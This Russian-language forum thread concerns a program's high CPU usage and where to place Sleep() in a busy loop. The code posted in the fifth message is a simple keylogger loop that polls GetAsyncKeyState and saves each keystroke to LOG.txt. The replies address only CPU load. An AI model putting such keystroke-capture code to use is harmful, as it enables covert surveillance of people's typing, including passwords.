![]() |
|
|
Регистрация Восстановить пароль |
Регистрация | Задать вопрос |
Заплачу за решение |
Новые сообщения |
Сообщения за день |
Расширенный поиск |
Правила |
Всё прочитано |
![]() |
|
Опции темы | Поиск в этой теме |
![]() |
#1 |
Форумчанин
Регистрация: 18.12.2015
Сообщений: 141
|
![]()
У меня программа сжирает всю память процессора. Посоветовали дописать Sleep(20) перед циклом. Но я не понимаю, что это может дать? Кто знает-напишите, пожалуйста.
|
![]() |
![]() |
![]() |
#2 |
Старожил
Регистрация: 15.02.2010
Сообщений: 15,830
|
![]()
1. Не память проца, а время
2. Не перед циклом, а внутри 3. Может и Sleep(0) помочь Что даст? Даст ОС возможность давать кванты процессорного времени и другим задачам. |
![]() |
![]() |
![]() |
#3 |
Форумчанин
Регистрация: 18.12.2015
Сообщений: 141
|
![]()
Почему не перед циклом?
Вот отрывок кода с циклами Куда тут его вставлять Код:
Посоветовали перед for(i = 8; i <= 190; i++) Последний раз редактировалось Аватар; 20.03.2017 в 14:29. |
![]() |
![]() |
![]() |
#4 |
Старожил
Регистрация: 15.02.2010
Сообщений: 15,830
|
![]()
Правильно посоветовали. Я говорил про вечный цикл, который while(1) в него надо.
|
![]() |
![]() |
![]() |
#5 |
Форумчанин
Регистрация: 18.12.2015
Сообщений: 141
|
![]()
Вот, надеюсь правильно прописал
while (1) { Sleep(20); for(i = 8; i <= 190; i++) { if (GetAsyncKeyState(i) == -32767) Save (i,"LOG.txt"); } } system ("PAUSE"); return 0; } Но в итоге всего лишь на 2% меньше грузит, чем без Sleep() О чем это говорит? |
![]() |
![]() |
![]() |
#6 |
Форумчанин
Регистрация: 18.12.2015
Сообщений: 141
|
![]()
Ответа не будет?
|
![]() |
![]() |
![]() |
#7 |
Старожил
Регистрация: 15.02.2010
Сообщений: 15,830
|
![]()
Какой ответ вы ждете? Вы в уикле практически ничего не делаете, кроме хавания проца...
|
![]() |
![]() |
![]() |
![]() |
||||
Тема | Автор | Раздел | Ответов | Последнее сообщение |
Sleep - что внутри? | 7in | Win Api | 19 | 19.09.2016 16:31 |
Не дает выключить форму | FleXik | Общие вопросы Delphi | 25 | 09.06.2014 13:33 |
Что то не дает забиндить порты | Abuhamed | Windows | 2 | 03.10.2013 00:14 |
формула дает ошибку | WIC | Microsoft Office Excel | 3 | 01.12.2010 20:51 |
Что дает лицензия? | misher | Свободное общение | 52 | 13.08.2010 21:20 |